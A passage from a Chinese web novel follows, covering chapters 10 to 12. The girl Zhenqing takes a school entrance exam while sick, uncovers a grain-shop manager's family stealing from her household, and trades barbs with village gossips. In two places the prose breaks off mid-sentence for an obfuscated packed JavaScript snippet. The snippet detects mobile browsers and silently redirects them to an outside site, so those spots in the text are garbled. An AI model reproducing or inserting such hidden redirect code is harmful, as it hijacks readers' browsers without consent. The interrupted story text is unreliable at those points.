认认真真做完填空题,珍卿觉得头昏眼花,肚子里又闹腾起来了。她又撑了一会儿,把经典句子的意思解释完,实在是快憋不住了。她向正在巡场的梅先生举手,梅先生走过来问她怎么了,珍卿说:“先生,我要上茅房,我题还没写完,我怕别人拿走,您保管一下,行吗?” 梅先生看她脸色卡白,知道是真难受,连忙答应下来,叫珍卿快去茅厕。 10. 问情形祖父失落 快憋不住的珍卿跑到茅房坐到马桶上,拉了好一阵子把人都快拉抽抽了。 她坐在马桶上受这洋罪,心思还飘回考室里,忧心她还没写完的题,整个人疲乏痛苦得都快散架了。 珍卿心里着实着急,等到一完了事,赶紧奔回考室,管不了她臭不臭的了。回到考室,就看见梅先生就在她桌子两步外站着。珍卿赶紧走过去,看她的试题都好好的,松下一口气,连忙跟梅先生鞠躬道谢。梅先生温和地安抚她:“还有一个半钟头,别着急,静下心来写。” 坐在梅先生背后的林小霜,就不愤地暗暗瞪了珍卿一眼。 珍卿定下神来,继续看作文题目,是写《我的早饭》。她百无聊赖地想着,她的早饭都奉献给这学校的马桶了,真是一个让人痛苦的题目。“我的早饭”妥妥地是叫人写记叙文,最简单的一类题目。可要写得出彩也要费点脑筋。 珍卿想了一阵,大致在心里打好腹稿,斟酌了两回,也懒得写一遍再重新誊抄,直接用正楷字开始写她的作文。 那位监考的高瘦周先生,神出鬼没的,一会儿在一会儿不在。她不在时梅先生就放轻脚步,一个人在考室里来回巡视,偶尔会站在奋笔疾书地学生旁边,静静地看她们书写。这一会儿,她就站在珍卿桌边看她写作文。 刚才给珍卿看试卷时,梅先生就觉得这孩子字迹娟秀俊逸,很见功夫。这会儿看她正写的作文,不觉也看住了,见她上面写的是: 昨日午后赶至县城,肠胃伤风初愈,余不思饮食。 夜宿家中东升粮店,店中偷粮鼠辈,群聚余室,络绎往来,吱喳欢闹,意甚猖狂。余夜寝不安,翌日晨兴,更不欲饮食。 祖父、管家知余应试要紧,早起敦促厨娘小火慢熬菜粥、鸡粥、果粥三类,摆列餐桌,供余挑选饮食。 余入餐桌就座,祖父、厨娘在旁,大赞清粥色香味之美,劝诱余多多进食。 余只觉腹内如涌,喉间梗阻,强食一碗菜粥,便欲推开碗箸。 而家祖在旁,叹息摇头,蚁步徘徊,焦忧若溢。其见余自餐桌起身,急按余回座,苦口婆心曰:“汝今日应试,正要出力,不吃粮食,何来气力?” 厨娘在侧怂恿曰:“我家幼孙,不好生饮食,我与其母,一人制住小儿,不使乱动,一人以匙箸,掰开牙关强喂,此法甚好。” 余听言,猛见身侧祖父,向余眈眈而视,双手伸出,似欲制住余之臂膀,而使人强喂粥饭。 余悚然而惊,立时大喊:“我吃,我吃……”祖父强喂之念,方才作罢。 余强咽粥水,如咀棉絮、吞铅块,入腹更搅扰轰隆,乘车走路甚为煎熬。 一入校间,即奔厕中狂泄,早间强啖之食物,转眼皆付五谷轮回之所,恰如春水向东,无可奈何。 余在考室,浑身如绵,眼绕金星,直觉度日如年。如此早饭,从今往后,余不愿再食。 …… 梅先生难得见有幽默感的女孩子,觉得怪可爱的,不由会心一笑,抬步走开,继续巡视考场。 不一会儿珍卿的作文就写完了。这作文字数嘛倒没有硬性要求,她叙述完事情在后面发了一下感想,估计有五百来字。 这个时候,白话文还没有推行到全国。尤其像她们这种接受家庭教育和私塾教育,师长平时就更不允许用白话写诗作文。但是这启明学校的先生们,肯定受过白话诗文的洗礼,珍卿便采取了半文半白的写法。 把写完的作文搁在一旁晾着,珍卿继续写后面的算术题。这算术题只有加减没有乘除,实在简单得很。她就低下头奋笔疾书,不一会儿就写完了。 珍卿把四张试卷全部题目都写完,她看大家还在埋头书写,就把写完的题又检查了一遍。检查完了,她觉得头闷沉沉的,眼皮也沉重得很,她摸了摸自己额头,感觉像是发烧了。她就举手小声问梅先生,能不能提前交卷儿。梅先生说:“不能提前交卷,坐着等一会儿。” 珍卿只好坐着等,竟不知不觉睡着了。她正睡着,忽然感觉耳边一声巨响。珍卿吓得惊跳起来,就见那位神出鬼没的周先生,脸寒得跟夜叉一样,双手抱胸尖声质问道:“你是来考试还是来睡觉的?太不像话,你以为这啥地方,警告你别太放肆。再让我发现你睡觉,你就不用考了。”梅先生连忙上来劝:“小妮儿不舒服,你别嚷她,给她吓着了。” 珍卿完全迷登了,这位周先生的斥责和威胁,她迟钝的大脑没有产生啥感觉。她双手捧着脑袋,勉强保持清醒,眼睛都有点睁不开。感觉随时又要睡过去。 忽听一阵连绵的敲铃声,周先生大声说道:“考试时间结束,请考生停止书写。”两位监考先生,动作很迅速地开始收试题卷。试题卷收完以后。周先生在讲台上跟大家讲,半个月以后过来看榜,考没考上,考上了分在哪个年级,到那时候就都知道了。 梅先生拿了一沓传单样的东西,给每个考生都发了一张。其实上面写的就是周先生在讲台上讲的,只不过更加系统一些。 等收拾好了东西,珍卿摸摸滚烫的脸,晕晕乎乎地站起来,随波逐流地和大家一起朝外面走。她感觉这一双腿子,简直软得像面条一样。她走出学校大门刚要下台阶,背上好像被谁推了一下,她就感觉身体失重,直接从台阶上滚葫芦似的滚了下去。 杜太爷和大田叔远远看珍卿出来,他们已经往校门这边挤来,远远见她滚下台阶,更是吓出了三魂六魄,更加努力地往大门那里挤。 总之因为有考生滚下台阶,启明学校门外骚动了一阵,但马上有人来维持秩序,家长也赶紧把孩子抱走了。这小骚乱就自动平息了。 大田叔把珍卿抱回马车,检查她的手和脸,发现就是额头有擦伤,身上就不便检查了。一摸她额头烧得滚烫滚烫的,连忙喊:“太爷,大小姐烧起来了。”杜太爷叫大田叔赶车,先去找个医馆给珍卿看病。把珍卿拉去给大夫一看,肠胃炎嘛,中医的说法就是脾虚胃弱,下泻太过,同时孩子寒邪入体,伴随着伤风发热,所以一时抵受不住。 大田叔埋怨杜太爷:“本来在杨家湾,说已经见好了,一路迎风冒寒给她拖到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411961|184628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 县城,又弄到伤风了,给大小姐折腾的一天瘦了两圈。”杜太爷也嘴硬得很:“我不是为她好?!这学校现在不考,过了这个村没有那个店。到时候她还不是要闹我。”大田叔毕竟是受雇的人,不敢跟他呛得太厉害。 看完大夫拿了药,他们就带着珍卿,还是回了林掌柜那个粮店。 杜太爷唉声叹气地,想到孩儿病成这样儿,也不知道考试考得咋样。他听林掌柜说她闺女跟珍卿在一个考室,就让林掌柜把林小霜叫出来问:“大小姐考试时咋样,有没有难受,是不是一直在写题啊?” 林小霜得了父母叮嘱,到杜太爷面前就很低眉顺眼的,老实地跟杜太爷答道:“大小姐到了考室,没坐一会儿,她就到茅房去了,去了有半个钟点才回。看着怏得很,坐都坐不住似的。她是不是一直写题,我也没大注意,我也在写呢。只晓得中间,大小姐又去了一趟茅房,去了又快半个钟点,去完茅房回来就更怏了。后来再看大小姐,她就趴在桌上睡,睡了好久没醒。监考的先生发现还嚷了她一顿,说再睡就不让她考了。再后来没多久就交试卷了。” 杜太爷越听脸上就越丧气得慌,最后唉声叹气地说:“唉,这妮儿真是个多灾多难的命,考试怕是不中了。”林小霜握着手低着头,脸上的幸灾乐祸一闪而逝。她爹就悄悄挥手叫她下去。 林小霜见过杜太爷后,到后院找到她娘又跟她娘幸灾乐祸:“那是个啥大小姐,丢死万人嘞,身上臭烘烘地就进考室,都要轰她出去嘞。考试的时候一直在那儿睡睡睡,先生发了好大的火,她考的啥试嘛,她肯定要落榜的。张翠翠见了都说,她就是个乡下丫头,说是我们家的穷亲戚来打秋风的呢。” 她娘笑眯眯地听她说话,然后忽然爬到炕上,小心翼翼地从黑漆箱子里拿出一件长皮袍,小心地摸着叫她女儿过来看:“这是大小姐的鼠皮衣,穿着又轻便又暖和,我故意给她烤坏了。他们杜家这么阔,肯定不会再要,我再给添点皮子,补补缀缀,给你弟穿也行,你穿也行。” 林小霜看着那鼠皮衣,心里很复杂的滋味儿,那皮衣还是新崭崭的呢,穿着肯定舒服。可是,凭什么她林小霜只能捡别人剩的、扔的、不要的呢。她甩开心里的头绪抱着她娘说:“娘,我一定好好念书,结交学校有钱有势的人,给你找一个阔女婿。将来让你吃香喝辣,做个啥也不用干的老夫人。再不用给乡巴佬的大小姐,当个老妈子使唤。”她娘抹一抹眼泪笑着说:“好,娘等着那一天。” 林掌柜一家的心态,杜太爷无从得知,病得昏沉沉的珍卿那就更不晓得了。杜太爷觉得粮店里环境不好,不想让珍卿在这里养病。他让林掌柜老婆拿来三床被子,把马车裹得严严实实,越过寒风飒飒的原野把珍卿带回了杜家庄。 杨家湾姑奶奶那边,听说珍卿病得重了,在家里痛骂杜太爷老砍头的。姑奶奶本想赶过来看珍卿,可是天气太冷,老人家不好出行,一家人轮番拦劝这才拦住她。后来只是余奶奶和两位表娘,带了不少补品来看珍卿。珍卿一回到杜家庄如有神助似的,没两天病就好起来。 11. 知家事珍卿筹谋 最近睢县里有一出传闻,说启明学校还没开张,就得罪了禹州有门的大户严家,把人家去参加考试的严小姐扔出了考场。有知道的,都替这梁士茵校长捏把汗。不知道的人,就打听严家是什么牌面的人物。 就有人说,严小姐的亲外祖父,那可是京城大总统的幕僚,大总统就等于是皇帝,那就相当于是皇帝身边红人。而严府的大老爷——严小姐的大伯父,是省城里督军的心腹参事,这种牌面的人家想搞黄一个学校,那不是跟底下人吩咐一句的事儿? 对于杜家庄人来说,严家与那啥学堂咋样,他们搞不清也不想理会。反倒是杜太爷家的大小姐,在考场出了大洋相的事,很快在杜家庄传开了,如今也闹不清源头是从哪儿传的。人们茶余饭后就把这件事拿出来说嚼。说杜太爷刻薄吝啬,平日里不积德行,临到遇事她孙女可不就倒霉了嘛! 他天天吹嘘她孙女,说多少先生都夸她,说她多么天才多么厉害,到头来也就是个没福儿的病秧子。说这病秧子考试当天上吐下泻,拉肚子拉到掉进茅坑里,那些考试的学生们一个个都要轰她出去。更可笑的是,她还在考场里面睡着了,从开始考试睡到收考卷,这大小姐愣是一个字都没写。 杜家庄不少人都很笃定地说,大小姐这一回是准定要落榜了。庄上人竟听说杜家的粮店掌柜的闺女也去考了。要是到时候东家小姐落榜,掌柜家的丫头反倒榜上有名,那才真是叫人笑掉大牙。 杜太爷没事爱到处走,一会儿从村南走到村北,一会儿从地头晃到地尾。他这走来走去地,听了满耳朵的糟心话,越听越窝火越听越狂躁,肺都快要气爆炸了。 对这一切珍卿是一无所知的。她在家里养着病,村人的背后闲话,家里人不会传给她听。前两天,杨家湾来探病的亲戚们,还带来了早替她家找好的厨娘,一个手艺特别棒的袁妈。 珍卿可太喜欢袁妈了,她不但做饭菜很有一套,洗漱梳头的事也做得利索。她的病才刚开始好的时候,还吃不得太难消化的,这袁妈就变着法儿给她煮粥喝。除了常见的小米粥外,还有乌梅粥、荔核粥、参苓粥、莲子大枣粥。没有三四天功夫,就把珍卿养得很精神了。 这天下午的时候,北风刮得厉害,天气越发寒冷了。 杜太爷从外面回来,脸色阴沉沉的,还骂老天爷,三月天儿这么邪性,肯定没憋着什么好屁。外面阴沉沉的像要下雪,这时候下雪大约对庄稼不好。 珍卿以为他在操心庄稼,也没多想。她这一天病情好多了,正打算换一身衣服等着见客人。她生病期间,玉琮和她娘常带着吃食来探病,连小伙伴杜玉理和李宝荪也来了两回。玉琮昨天说好了今天午后还要来的。 珍卿就打开箱子到处找厚衣裳,找了一会儿发现一件怪事儿。她看见杜太爷在她后罩房前的小天井走来晃去,就隔着窗户问他:“祖父,上回去杨家湾,姑奶奶才给我置的鼠皮袍呢?” 杜太爷奇怪地看着她问:“不都在包袱里给你带回来了吗?”珍卿又里外翻找了一遍说:“没见啊。是不是拉在粮店里了?” 杜太爷问:“是林掌柜的婆娘给你收拾的包袱,那谁晓得是不是落在那儿啦?” 杜太爷在屋子外面转悠两圈,为难地道:“要是上赶着去问,那不是把人家当贼了?算了算了,烤干的时候烧了那大一片,也不能要了。”珍卿不高兴地说:“是姑奶奶才给我置的,还是新崭崭的,它底下烧坏了一角,不拘是接一块皮子还是改成短袄都能穿。咋个就不能要了?” 杜太爷不晓得咋回事,看着珍卿莫名动怒地说:“别学得恁眼皮子浅,活像一点好东西没见过,丢就丢了,不许吵吵,再吵吵我又要打你。” 珍卿就趁势掐着腰嚷嚷: “祖父你可别说人眼皮子浅了,就怪林掌柜老婆把鼠皮袄烤坏了,我穿她闺女的破棉袄去地考场,我好赖说是个东家小姐,在考场主动招呼一个掌柜的闺女,那林小霜当着那些个财主家去考试的小姐,翻个白眼儿理都不理我。她边上一个妮儿问她我是谁,为啥穿的是林小霜的旧棉袄啊,那林小霜说反正她不要的破烂衣裳,管我穿不穿的。那个妮儿以为我是林家打秋风的嘞。 “我拉肚子拉得腿都打飘了,那林小霜没说扶我一把,捂着鼻子跟人家一块起哄,说我身上臭轰的要赶我出考场嘞。你老人家也别说我眼皮子浅,不穿件好衣裳人家叫我当成穷乡巴佬,粮店掌柜的闺女都不叫我放眼里,你说她爹妈咋教得的她,我个东家小姐成她家打秋风,说出去是叫人笑掉大牙啦……” 杜太爷一听觉得不对劲,说那林小霜他见过不少回啊,闷头闷脑像个老实巴交的妮儿啊。珍卿说老实也未必是真老实的。林小霜那眼睛长在头顶的狂样儿,考场里多少考生都见过的。杜太爷想到珍卿向来少说谎,更不喜欢背后道人的长短,他对珍卿的话已然信了大半。于是那张老脸乌腾腾地翻滚着怒气,却又转过头来骂珍卿不中用,问她为啥当时不指着林家妮儿,说他们家也就是跟我们家扛活的。珍卿就说她当时刚拉完肚子,浑身没劲儿走路都打飘,身上热一阵冷一阵老是想吐,再说监考老师进来谁还敢乱动。 其实她刚回庄上就知道鼠皮衣丢了。杜太爷虽然是马大哈,但大田叔可是极为谨细的人,她那件鼠皮袄不可能掉在半路上。最大的可能就是还在粮店里面——她那天离开粮店去启明学校考场,记得皮袄就放在她那间屋子的床架上,那么大件衣服林掌柜老婆不可能看不见。置一件这样的长鼠皮袍至少要四五块大洋,说不定还会更贵。 那林小霜的娘看着挺朴实细心,但林小霜的性格和在粮店发生的一系列事,让珍卿觉得林掌柜老婆不是省油的灯,或者说林掌柜一家都不省油。林小霜跟她年纪差不多大,敢在公开场合对她这东家小姐如此轻慢,她自身脾气大姑且算一个原因,更可能是林掌柜两口子私下也没把东家放在眼里,长久言传身教才有这样嚣张的林小霜。 想来林小霜的妈看起来老实巴交,说不定就是传说中的憨面奸。珍卿意识到林掌柜一家可能不省油,鉴于这家人看起来老实巴交的,又是她奶奶景氏留下来的旧人,她没有根据地说林家人的坏话,在杜太爷那里有可能适得其反。珍卿养病期间先跟大田叔讨论林家人,既怕错判了林家人的作派,也怕错判了杜太爷的反应。 大田叔无可奈何地叹着气说:“林掌柜在粮店贪了不知多少钱,偷一件皮袍子也不算啥稀奇事。——大小姐,你从前岁数小跟你说不上这事。可林家人背后站的是你舅爷景有德,你舅爷从你奶死了,你爹你姑先后都跑了,一直惦记你奶留下的这点嫁妆。当初要不是亲戚们死拦活劝的,你爷就把这份家当跟景有德分了。这些年你舅爷明的不行来暗的,他要真是把俺们家粮店蛀空了,那布店、大车店还有庄上的几顷地,他也不可能不惦记上。” 珍卿这时候才晓得,林掌柜在粮店里监守自盗多年了,而且背后还有她舅爷景有德做靠山。只是杜太爷要紧事上有时犯糊涂,他心里对早亡的妻子大约有愧,见林家人面上老实恭敬竟然没生疑心,林家人就越发肆无忌惮,不把东家放在眼里。 珍卿就问大田叔,林家人跟她奶奶景氏有啥深刻的渊源,作为陪嫁若是忠心才得的看重,如今怎么会猖狂造次到这个地步呢? 大田叔很不屑地说:“算是个啥来头!不过是景家买的奴才,林掌柜的姑奶奶给你奶做过奶妈子,说你奶跟这个奶妈子好得很,以后成亲带陪嫁带的就有这家人。你奶死了以后,林掌柜亲妹子给你舅爷当了小老婆。又说这时候是民国了,你舅爷非撺掇你爷叫林家人放了良籍,现在不像过去了,就算林掌柜真的叫粮店蛀空了,有你舅爷在后头搅三和四的,你爷再心软犯一阵子迷糊,也不能对林家人喊打喊杀的。” 从管家大田叔这了解林家人的底细,珍卿就感觉这件事靠不上杜太爷。可杜太爷虽然神神叨叨经常不着调吧,但他有时候气急了挺能豁出去闹腾的,珍卿是盼着他在粮店一事上闹开的。但他分明把珍卿对粮店林掌柜的指说听进去,他既没为珍卿丢皮袄一事去林掌柜家对质,也没有仔细查一查林掌柜在粮店的作为,而是跑到她舅爷景有德家两回,也不知道这郎舅俩私下说了啥事。珍卿问他他总含含糊糊地答,说毕竟是你的亲舅爷,那林掌柜也是你奶跟前的老人,有啥事看在你奶的面上也不能闹绝了。 杜太爷其实很忌讳有人拿珍卿的身世说事,任何这方面的话都能刺激到他的敏感神经。所以他要求庄上所有人叫珍卿大小姐,他对林小霜不把珍卿放在眼里,还拿珍卿是乡巴佬和打秋风的,心里面上几天里都是带着气恼。可他就是不发作林掌柜和景有德。珍卿觉得杜太爷不可理喻到极点,甚至暗戳戳地恶意猜测着,杜太爷是不是跟那景有德有一腿子。 当然这也只是玩笑的话,珍卿来到这个世上以后,在一种新旧变革的动荡环境中,见到形形色色不可理喻的人,杜太爷只不过是其中的一个。 东升粮店的偌大隐患,在杜太爷那莫名其妙地不了了之了。珍卿在考场跟林小霜发过豪言,说他老爹甭想当东升粮店的掌柜了,这个豪言若长久不能兑现,她的话也没啥威慑力了。 像杜太爷这么稀里糊涂地过日子,也难怪落得个家业败尽、妻亡子散的中局,若非总有亲戚们帮着周全,杜太爷恐怕把妻子留的嫁妆也早败光了。 珍卿意识到绝不能再指望杜太爷,也知道绝不能纵容林家和景有德了,要是杜太爷把家里祸祸得没钱供她上学,那她的世界才真叫黑暗了。珍卿跟大田叔私底下商量,还是要请亲戚们来帮他们家搭一搭手。 珍卿首先想到杨家湾的姑奶奶一家。可叹姑奶奶她老人家偌大年纪,为亲儿女们操的心都没有为表弟操的心多。珍卿写了封信跟姑奶奶林家的事,景有德的小动作姑奶奶家似是觉察的,珍卿没有详说。她现在期望的就是能给粮店换个掌柜。景舅爷若无林掌柜这个帮手,他想染指东升粮店也不可能。及时止损才能进一步想找回损失的事。珍卿写完信叫大田叔找人送到杨家湾去。 因为杜太爷嫌他的侄孙族长管他的事多,他总觉得在侄孙那立不起长辈的尊严,所以前些年跟族长家鼻子不是鼻子眼不是眼,也就是这一年两家关系才好些。珍卿原先都不太往族长向渊堂哥家走动,现在为了家中的经济大事,也非得亲自跟族长谈一谈了。现在的族长杜向渊比杜太爷还年长,但论辈分跟珍卿倒是同辈的人,珍卿常常叫他“向渊堂哥”的。 给姑奶奶家写信后过了两天,珍卿穿戴了准备去回访病中看望她的亲友。袁妈拣了些点心果子装裹好,见珍卿拎上东西准备独自出门,袁妈的老伴老铜钮主动跟杜太爷说:“太爷,要下雪了,我跟着大小姐出门,看着大小姐别摔了。”杜太爷瓮声瓮气地说一声:“叫她自家去,不跟人。”杜太爷倒不是觉得不应该跟人,他在外面又听了关于珍卿没考上学的闲话,心里对珍卿正有一点恼意呢。 杨家把袁妈和老铜钮送来时,跟珍卿和杜太爷说过:厨娘袁妈和她老伴老铜钮,从三十来岁就在大户人家做事,他们夫妻两个里里外外都很得力。杨家人是觉得若是珍卿考上了学,必定要在县里赁房子住,多给杜家找个用人也不会就浪费了。但杜太爷以为珍卿考坏了,暂时不必去县里赁房子,看做杂活儿的老铜钮就觉得碍眼了。不过他一贯不虐待下人,只是发发脾气罢了。 珍卿也没觉得非跟人不可,杜家庄风气不错,生人不容易进来,庄子里也没有大奸大恶(吧?)所以,珍卿连在族学上下学都不跟人。 多问一句的老铜钮倒没觉得多难堪,只是有点意外的样子。这一会袁妈就扯了扯老铜钮,叫他老实缩着的意思。 站在院里的罗大妈,看着太爷和大小姐都走了,她就脸酸地讥讽袁妈老两口儿:“跟啥跟,一个庄子上,摔了也有街坊邻里扶。啥事儿都要现眼出风头,破麻袋想要做龙袍——不看看自己配不配做那块儿料!” 袁妈瞅都没瞅罗大妈一眼,一派寻常地跟老伴老铜钮说:“小姐说想吃点荤腥,你把那鸭子收拾了,晚上给小姐炖老鸭汤喝。”微微驼背的老铜钮,应了一声就麻利地去了。袁妈理理衣襟扭头往菜窖里去了,说要找点什么菜来配鸭子。 罗妈被晾在原地里,阴着脸恨恨地说着:“新人刚过房,旧人丢过墙,老的小的都没良心。” 她骂骂咧咧一会儿没人理,她就自己没趣地走开了。 珍卿出门先往同在北村的李宝荪家。到李家门外给了看门的长工两块点心,让他把李宝荪悄悄叫出来。那长工谢了一声把点心揣进怀里,果然悄悄地进去把李宝荪叫出来。珍卿把点心包交给宝荪,交代他别让家里其他人瞧见,把这些甜软好消化的点心给他娘多吃一些。 珍卿因不喜欢李家人,给完了李宝荪点心也没进他家的门,没多耽搁就向南边走了。 天上开始飘雪屑子了。珍卿抬头看了看天,昏昏雪意云垂落,北风小意吹玉沫。天幕下世界这么大,有一个小小的她,而她在这个世界也算有立锥之地。 现在她终于可以上新式小学了,而且林家的事并非不能解决的。 珍卿正站在小坡上看山村雪景,忽听背后有开门声泼水声,之后便有一个女声高声问珍卿:“大小姐病好了,不好好念书,咋跑出来玩啦?” 珍卿回头看见个她不太喜欢的女人——余二嫂。她小时候被杜太爷打过以后,这余二嫂就笑嘻嘻地跟她说:“你爷坏死了,天天就晓得打你。我教你个巧宗儿,你爷那么多钱,你每回偷出来一点藏着,等长大了你也学你爹你姑,跑到外面再别回来,那时候你爷再打不着你了。” 杜太爷打她一个小孩儿固然不好,但余二嫂一个大人却煽动仇恨,怂恿小孩子偷钱并离家出走,那也是没安好心。不安好心的余二嫂话啥都是怪味,珍卿这时还好声好气地回她一句:“磨刀不误砍柴工,我歇好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16411962|184628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再学,学得更好。” 说着她就自顾走开了,却听余二嫂在背后讥讽:“人不大口气挺大,天天显摆多用功,吹嘘自家好厉害,连个学都考不上,还跟多了不起一样,真是粪车滚子掉了——摆的一副臭架子。”珍卿回头瞪她一眼,余二嫂扬着讥讽的脸好像在说:你听到了又咋样,就是说给你听的。 珍卿正待不理她,忽见路上走过一个女人。这个女人叫麻婶儿,他男人名叫大柱子。珍卿心里冒出个蔫儿坏的主意,就笑得很天真地问:“余二嫂,你跟大柱叔家是亲戚吗?”余二嫂莫名其妙,正在走路的麻婶儿嫌恶地说:“谁跟她是亲戚!八杆子打不着!” 珍卿看着麻婶儿诧异地问:“那咋老看见大柱叔给余二嫂挑水呢?大柱叔真是个热心人,不是亲戚也天天恁热心肠。”便见麻婶儿一瞬间狂化,冲到余二嫂跟前日爹干娘地乱骂,争吵之间有轻微地肢体冲突了。那个麻婶儿还特彪悍地嚷:“你个卖屁股的xxx,你敢偷老娘男人,打死你个sao货!……” 珍卿远远地劝说两句,见她们战况更加激烈,她就被“吓”跑了。 快走到玉带河的时候,在外面喂狗的汤老汉,提着木桶远远看着珍卿走过来。 珍卿见状连忙热情跟他打招呼:“汤爷爷,你家的狗咋拴起来啦?因为要下雪吗?”汤老汉咧嘴笑:“最近老有人偷狗,我给它拴在家里,免得叫人偷了。”珍卿纳闷地问:“为啥有人偷狗嘞?偷走了去剥皮卖吗?” 那黑狗冲珍卿吠了两声,汤老汉按住那狗笑着说:“剥皮卖是一个,天冷了,好多人爱吃狗肉。” 珍卿“噢”了两声,准备继续走路,忽听汤老汉问她:“大小姐,听说你考学考不上啦?那你以后还念书不?”不待珍卿回答他马上接着说:“唉,考不上就不考了嘛,识几个字就行啦,哪有几个姑娘家上学的。自古以来就是男主外女主内,女人家学点针线茶饭管好家就行啦。念书挣钱奔门路,那是男人家的事儿。这就像狗看门,鸡打鸣,猫逮耗子它最能。各是各的活计,串了行可就乱套……赶紧找个好人家儿,嫁过去生他几个大胖小子,你轻省当个少奶奶不好啊。” 珍卿看他口若悬河,一面觉得这种世情下他未必出于恶意,一面又觉得是陈词滥调听来无益。鉴于这汤老汉岁数大了,珍卿还是客气地说:“我妈留下遗言,叫我一定要读书。” 汤老汉反倒莫名动了怒,说:“那你不是没考上嘛,论念书女人哪比得过男人,那头发长见识短,说的不就是女人家。妮儿啊,爷给你说几句好话,别坐在地上望月亮,越望越高,越高越够不着……” 珍卿听得有点生气了,觉得他不是恶意是想错了,她生气反而笑眯眯地问他:“汤爷爷,你说狗看门鸡打鸣猫逮耗子,自古以来是这样。可是我咋听说,村南头有一家儿,他们家的猫吃得肥肥的不管事儿,他们家的狗可最喜欢逮耗子,还逮得好极了,那家人把狗当宝贝儿一样,你说这是为啥嘞?”说着,她也不等汤老汉回答,昂着头大摇大摆地走了。 汤老汉提着桶走进家门,想不清这杜大小姐是啥意思。这时他老婆就出来骂他:“个死砍头的,你跟人家有啥好说的,财主家的小姐再咋也比你强。她骂你狗拿耗子多管闲事,都听不出来,还说啥嘞说!她打小是个泼皮,你别把她惹急喽,小心她拿石头砸你!”汤老汉恍然大悟,恼羞成怒地道:“个丫头片子,嘴壳子硬得很!” 珍卿出门时的好心情,多少受了点影响,这些人怎么好像笃定她连个小学都考不上。但是受影响也影响得很限。在这样风气守旧、名誉盖天的乡村,她被当作是父母私奔生的私孩子,她从小到大听的各种难听话也多了,回回都生嗔怄气身心早就崩溃了。 在一个于己相对不利的环境中,一个人永远不可能有最有利的选择,只有“两害相权取其轻”或者“数害相权取其轻”的选择。 杜太爷说起来几乎就是一个文盲,珍卿小时候跟他讲道理他嘴笨说不过,他为了压服管教自己这个孙女,采取的就是棍棒教育这一套办法。当爷爷的管教自己的亲孙女,姑奶奶和向渊堂哥再不同意胡乱打孩子,也只在眼前的时候能劝阻杜太爷,也不可以把珍卿抢过去自己养。这些年珍卿被管教得“老实听话得很”,而杜太爷对她这唯一亲人感情也深了,珍卿被打的遭数倒是越来越少了。 相比她爹跟她姑的硬气离家出走,珍卿选择在杜太爷的屋檐下讨生活,这是她多年来一直不曾后悔的选择,因为装成个乖巧服帖的孩子,比独自面对外面的世界容易多了。相比杜太爷这个并非穷凶极恶的封建家长,外面的人贩子、黑警、□□、土匪、兵匪等各种魑魅魍魉可怕得多了。 她在杜太爷手底下讨生活,至少有吃饭看病的条件,至少经营一番还是可以有书念,而她要是学着老爹跟姑姑离家出走,上面的极端情况她只要遇到一种,她的人生就宣告塌陷了。更何况这年的传染病年年有,一死就死一大片人,她这身板要是在外面染了病,少不得是一命呜呼的下场。 她爹跟她妈当年逃婚私奔到外面生活,十年后又忍辱含垢地带她回到杜家庄,在并不宽宏理智的杜太爷手下讨生活痛苦而艰难,乡人背后人前的指戳羞辱也是百上加斤,然而他们还是选择在这种环境里苟且偷生,就足以证明外面的世界比这更难得多。 还有珍卿那个没有音讯的姑姑杜红珠,她出走也有十几年,到现在还没有音讯。当然也不是全无音讯。去年,镇上的行商说在南省看见她姑姑,杜太爷还找照片叫人带去辨认,辨认过了又是一回不了了之。谁知道她离家出走的姑姑是死是活,若是活着又过得一种什么日子呢。 珍卿大步走过玉带河上的小木桥,没一会儿就走到了玉琮家里。碰巧玉琮不在家,珍卿把点心送给玉琮他娘,就说想找向渊堂哥说话。向渊堂哥就是玉琮他爷爷。 珍卿把粮店的事和林家人的行事,仔细跟向渊堂哥说了一下。老是麻烦亲戚珍卿自然觉得不安,可是要她自己上,她年龄小没有威望能使动人,外面的各种门道也不大通啊。 向渊堂哥虽为族长但很慈祥可亲。他一点没嫌珍卿给他找麻烦,反倒对她和气友好得很,甚至看着珍卿莫名显得高兴。他说这件事他其实已经晓得了,正在跟杨家姨奶奶那里商议着办,让珍卿不必多过操心。 向渊堂哥家和姑奶奶家都有会办事的能人,按照珍卿对他们的了解,他们既然承诺了就一定会好好办。她从玉琮家里出来暗暗出了一口气。向渊堂哥在封建伦理教育中长大,天然很重亲情和族人。不管他是否高兴管照珍卿祖孙,都有一份责任感在里面吧。 珍卿在心里向各路神佛许愿,希望他们保佑向渊哥一家和姑奶奶一家。 这满天下的坏人一抓一大把,不好不坏的人也多,就是好人稀缺,如果真有神佛还是多多保佑稀缺物种吧。 珍卿继续向南村东边走——杜玉理家住在那个方向。 12. 少年人齐发善心 话说珍卿病愈之后,到南村拜谢病中探望过她的人,从玉琮家里出来继续往玉理家里走。 她向东拐过一道弯子后,忽听见有人“呜呜呜”地哭,逡巡一圈见西边有个小孩子,坐在柴堆旁边捂着脸哭得很压抑,他身边还有一个大藤框。 珍卿本来不想管的,听这个声音怎么觉得这么耳熟?她小心走过去问:“陈学礼?” 陈学礼哭得声音泛哑,闻声抬起眼泪狼藉的脸,冻青的嘴唇翕动了半天,张嘴只喊了珍卿的名字,却说不出更从的话来。 珍卿问他:“你咋坐这儿哭?你头发这么湿!” 